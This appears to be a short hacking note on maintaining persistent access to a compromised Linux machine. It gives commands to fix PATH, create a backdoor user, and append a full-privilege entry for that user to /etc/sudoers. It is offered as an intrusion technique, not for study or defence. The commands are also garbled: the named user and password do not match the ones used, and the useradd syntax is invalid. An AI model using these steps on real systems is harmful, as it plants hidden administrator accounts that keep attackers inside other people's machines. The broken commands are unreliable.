Maintaining Access on Linux Powned Machines:
If we have Powned a linux machine. we can maintain persistent access to that using following steps
Usually when running on a Linux distro you would run a useradd command to add your user. But if this command n’t found on machine, then it might be an issue with Pathing not having been set up. This is what I used to set it up:
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Then we can add user (as ud64) and password (as toor) by following command:
useradd jbk passwd pwn
and also add this user to the sudoers list with
echo "jbk ALL=(ALL) ALL" >> /etc/sudoers.
By this way we can make persistent access to the linux machine!